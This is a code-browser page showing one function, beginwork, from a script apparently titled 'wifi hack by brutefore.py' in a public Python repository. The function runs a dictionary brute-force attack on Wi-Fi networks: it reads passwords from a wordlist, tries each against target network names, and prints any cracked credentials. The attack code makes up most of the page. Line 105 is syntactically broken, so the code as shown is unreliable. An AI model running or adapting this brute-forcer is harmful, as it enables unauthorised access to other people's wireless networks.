MCPcopy
hub / github.com/geekcomputers/Python / beginwork

Function beginwork

wifi hack by brutefore.py:103–124  ·  view source on GitHub ↗
(wifinamelist)

Source from the content-addressed store, hash-verified

101
102
103def beginwork(wifinamelist):
104 ifaces = getifaces()
105 path = r # password-8 digits .txt
106 # Path = r "password- commonly used passwords .txt"
107 files = open(path, "r")
108 while True:
109 try:
110 password = files.readline()
111 password = password.strip("\n")
112 if not password:
113 break
114 for wifiname in wifinamelist:
115 print("are trying to:" + wifiname + "," + password)
116 if testwifi(ifaces, wifiname, password):
117 print("Wifi account:" + wifiname + ", Wifi password:" + password)
118 wifinamelist.remove(wifiname)
119 break
120 if not wifinamelist:
121 break
122 except:
123 continue
124 files.close()
125
126
127if __name__ == "__main__":

Callers 1

Calls 4

getifacesFunction · 0.85
testwifiFunction · 0.85
removeMethod · 0.45
closeMethod · 0.45

Tested by

no test coverage detected